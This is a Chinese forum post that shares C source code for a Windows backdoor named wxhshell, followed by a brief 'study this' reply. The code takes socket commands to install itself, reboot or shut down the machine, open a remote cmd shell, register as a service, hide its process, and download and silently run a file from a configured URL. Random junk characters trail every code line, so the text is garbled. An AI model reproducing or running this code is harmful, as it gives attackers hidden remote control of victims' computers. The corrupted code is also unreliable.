  else OC BgR4I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JzQ)jdvp  
  } HTX?,C_  
  else { NQJq6S4@  
[OC5l>  
    switch(cmd[0]) { E2R&[Q"%  
  X\{LnZ@r4  
  // 帮助 < t,zaIi  
  case '?': { leTf&W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  W\d{a(*  
    break; =T HpdtL  
  } J  IUx  
  // 安装 JB<Sl4  
  case 'i': { um!J]N^  
    if(Install()) Rh_np  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O$_)G\\\m  
    else |)(VsVG&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -zOdU}91Ao  
    break; nn@-W]  
    } 0i!uUF  
  // 卸载 D1zBsi94D  
  case 'r': { PQ5QA61  
    if(Uninstall()) _m5uDF?[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4T|b Cs?e  
    else kmP]SO?tx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >=:&D)m"  
    break; ILEz;D{]   
    } 2$+bJJM  
  // 显示 wxhshell 所在路径 d3 ZdB4L  
  case 'p': { 1w@(5 ^V  
    char svExeFile[MAX_PATH]; TN+iA~kQ  
    strcpy(svExeFile,"\n\r"); 42G)~lun-d  
      strcat(svExeFile,ExeFile); :XZU&Sr"  
        send(wsh,svExeFile,strlen(svExeFile),0); tn(JC%?^  
    break; ,)Me  
    } MQ 5R O;RY  
  // 重启 T@2#6Tffo  
  case 'b': { #`CA8!j!!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  M+||rct  
    if(Boot(REBOOT)) q&s3wDl/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,(d) Qg  
    else { Wbr|_W  
    closesocket(wsh); !t$'AoVBq  
    ExitThread(0); r`W)0oxD  
    } EofymAi%  
    break; >,gg5<F-E  
    } x@P y>f2  
  // 关机 $PTP/^  
  case 'd': { m0ER@BXRn  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {o_X`rgrL  
    if(Boot(SHUTDOWN)) _=_Px@<Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,k )w6)  
    else { U}yW<#$+  
    closesocket(wsh); T!+5[  
    ExitThread(0); QM5R`i{r  
    } ;RDh ~EV  
    break; @XLy7_}  
    } ` Q|*1  
  // 获取shell [Dk=? +  
  case 's': { KHe=O1 %QO  
    CmdShell(wsh); zi|+HM  
    closesocket(wsh); 60P#,o@G  
    ExitThread(0); }zkHJxZgE  
    break; gw#5jW\  
  } XewVcRo  
  // 退出 g7}Gip}.>  
  case 'x': { t3*wjQ3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =mS\i663  
    CloseIt(wsh); nKPYOY8^  
    break; s )noo  
    } [~-9i &Z  
  // 离开 q)LMm7  
  case 'q': { :o0JY= 5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;&< {ey  
    closesocket(wsh); "?]{ %-u  
    WSACleanup(); iHeN9 cl  
    exit(1); z:8eEq3w  
    break; 3h;{!|-3  
        } Y2a5bc P  
  } zKw`Md  
  } .a O,8M  
u$DHVRrF<  
  // 提示信息 Wvbf"hq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); msP{l^%0  
} rID#`:Hl-|  
  } EN$2,qf  
%`>nS@1zp  
  return; ?I6fye7  
} ?k]2*}bz  
>zw.GwN|  
// shell模块句柄 q*U*Fu+  
int CmdShell(SOCKET sock) $Z.7zH  
{ @Z*W  
STARTUPINFO si; Dd'm U  
ZeroMemory(&si,sizeof(si)); }YB*]<]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :o|\"3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \w/yF4,3<w  
PROCESS_INFORMATION ProcessInfo; `IP/d  
char cmdline[]="cmd"; +ln9c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^V?<K.F  
  return 0; ^8 zR  
} rf $QxJ  
o)Iff)m$  
// 自身启动模式 $;1#To  
int StartFromService(void)  3,p]/Z_  
{ +MR.>"  
typedef struct 8$")%_1]  
{ 2/vMoVT,  
  DWORD ExitStatus; zz+$=(T:M  
  DWORD PebBaseAddress; (\\eo  
  DWORD AffinityMask; r[2ILe  
  DWORD BasePriority; }Ga\wV  
  ULONG UniqueProcessId; gRCdY8GH  
  ULONG InheritedFromUniqueProcessId; G9Y#kBr  
}   PROCESS_BASIC_INFORMATION; .X@FXx&  
)Ub_@)X3%l  
PROCNTQSIP NtQueryInformationProcess; kh {p%<r{  
4]yOF_8h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DnC{YK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E)TN,@%  
6VS4y-N  
  HANDLE             hProcess; wP6 Fl L  
  PROCESS_BASIC_INFORMATION pbi; QN #U)wn:  
"U e. @>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K~AR*1??[  
  if(NULL == hInst ) return 0; '10oK {m$  
j}%ja_9S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wb]%m1H`:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cv?06x{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q1z"-~i )E  
w$+&3t  
  if (!NtQueryInformationProcess) return 0; a6D &/8  
q;R],7Re  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;|p BFKx  
  if(!hProcess) return 0; ,=UK}*e"  
E0Y-7&Fv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RTE8Uq36  
WlB  
  CloseHandle(hProcess); b<a4'M  
(pY 7J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @Fluc,Il  
if(hProcess==NULL) return 0;  `7 vHt`  
B|R@5mjm  
HMODULE hMod; Sx708`/Ep  
char procName[255]; ]Y%Vio  
unsigned long cbNeeded; 9`1O"R/  
.LZwuJ^;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $CY~5A`l9  
@aAW*D~-J  
  CloseHandle(hProcess); |%J{RA  
-7*ET3NSI/  
if(strstr(procName,"services")) return 1; // 以服务启动 v/](yT  
F<L EQ7T  
  return 0; // 注册表启动 :e_V7t)o  
} d@ i}-;  
}j^i}^Du,  
// 主模块 %6t2ohO"  
int StartWxhshell(LPSTR lpCmdLine) \ Pj  
{ !zkZQ2{Wn  
  SOCKET wsl; u -;_y='m  
BOOL val=TRUE; d*jMZ%@uS  
  int port=0; wj,:"ESb4  
  struct sockaddr_in door; E8pB;\Z(  
6{"$nF]  
  if(wscfg.ws_autoins) Install(); "/3 db[  
v K9E   
port=atoi(lpCmdLine); *G{^|z  
8kU! 8^mH  
if(port<=0) port=wscfg.ws_port; C"!gZ8*\!9  
M@`;JjtSA  
  WSADATA data; d/ARm-D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; eZSNNgD<:  
=osv3>&q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &7`^i.fh)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); JTr vnA  
  door.sin_family = AF_INET; SSPHhAeH8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A Y*e@nk\  
  door.sin_port = htons(port); UaWl6 Y&Vu  
"Q!(52_@J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~Lm$i6E <  
closesocket(wsl); :<hXH^n  
return 1; I(V!Mv8j  
} t; 4]cg:_  
?)kGA$m#  
  if(listen(wsl,2) == INVALID_SOCKET) { i(AT8Bo2  
closesocket(wsl); _JHd9)[  
return 1; =h0,?]z  
} <~6h|F8  
  Wxhshell(wsl); cl]Mi "3_  
  WSACleanup(); 5_- (<B  
kS_(wp A  
return 0; `Gn50-@  
s$cK(S#  
} b6U2GDm\s  
znxnL,-  
// 以NT服务方式启动 (Dw,DY9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q=%RDG+  
{ 9;r)#3Q[^  
DWORD   status = 0; hEBY8=gK  
  DWORD   specificError = 0xfffffff; ]^lw*724'>  
KVT-P};jy*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A/u)# ^\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zG ^$"f2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P(H8[,  
  serviceStatus.dwWin32ExitCode     = 0; 2 lj'"nm  
  serviceStatus.dwServiceSpecificExitCode = 0; MRb-H1+Xf  
  serviceStatus.dwCheckPoint       = 0; OR%'K2C6S  
  serviceStatus.dwWaitHint       = 0; U%<koD[,  
d/[; `ZD+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }s(N6a&(  
  if (hServiceStatusHandle==0) return; ~\Hc,5G  
EdlTdn@A  
status = GetLastError(); JT3-AAi[Z  
  if (status!=NO_ERROR) ^>i63Yc  
{ K_RjX>q%N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +89*)pk   
    serviceStatus.dwCheckPoint       = 0; 1guJG_;z  
    serviceStatus.dwWaitHint       = 0; | N[<x@  
    serviceStatus.dwWin32ExitCode     = status; t5y;CxL  
    serviceStatus.dwServiceSpecificExitCode = specificError; NWMFtT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bYEy<7)x  
    return; iV&6nh(  
  } x4E7X_  
ldiD2 Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Fs9I7~L3  
  serviceStatus.dwCheckPoint       = 0; *=(lyx_O  
  serviceStatus.dwWaitHint       = 0; gDQ1?N'8{t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9y<*8bI   
} 9~p[  
c(!6^qk]!`  
// 处理NT服务事件,比如:启动、停止 1][4.}?F[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !HnXXVW  
{ nQ5n-A&["  
switch(fdwControl) _F$aUtb%O  
{ VU&7P/\f%  
case SERVICE_CONTROL_STOP: U<DZ:ds ?T  
  serviceStatus.dwWin32ExitCode = 0; Cj{1H([-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :_g$.h%%  
  serviceStatus.dwCheckPoint   = 0; 4lKq{X5<  
  serviceStatus.dwWaitHint     = 0; ?QFpv #4  
  { [n \2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]Q>.HH  
  } m 8aITd8  
  return; [_1G@S6Ex  
case SERVICE_CONTROL_PAUSE: PE5R7)~A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2zs73:z  
  break; |4B:<x   
case SERVICE_CONTROL_CONTINUE: <Bw^!.jAF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X!9 B2w  
  break; #,":vr  
case SERVICE_CONTROL_INTERROGATE: j$?{\iXZ  
  break; a1_GIM0  
}; AlAYiUw{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9 }PhN<Gd  
} i*/Yz*<  
D/vOs[X o,  
// 标准应用程序主函数 7?GIS '  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8B\2Zfe  
{ ^(f"v e#7v  
^/\Of{OZ-  
// 获取操作系统版本 PH+S};Uxv  
OsIsNt=GetOsVer(); B{'( L |  
GetModuleFileName(NULL,ExeFile,MAX_PATH); VJickXA  
{<R2UI5m5  
  // 从命令行安装 8,? h~prc  
  if(strpbrk(lpCmdLine,"iI")) Install(); {q `jDDM  
q|!-0B @  
  // 下载执行文件 e=B|==E10M  
if(wscfg.ws_downexe) { 6L"%e!be6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z0Vl+  
  WinExec(wscfg.ws_filenam,SW_HIDE); Y]/% t{Y  
} , udTvI  
}bdmomV  
if(!OsIsNt) { W-?()dX{  
// 如果时win9x,隐藏进程并且设置为注册表启动 ] 6TATPIr  
HideProc(); ms*(9l.hOK  
StartWxhshell(lpCmdLine); I %sFqh>  
} U%q7Ai7  
else 0K`#>}W#X  
  if(StartFromService()) y5?RVlKJ  
  // 以服务方式启动 Ji>o!  
  StartServiceCtrlDispatcher(DispatchTable); n%-R[vW  
else W4pL ,(S  
  // 普通方式启动 9~]~#Uj  
  StartWxhshell(lpCmdLine); mlJ!:WG  
5|o6v1bM  
return 0; "4ri SxEyF  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五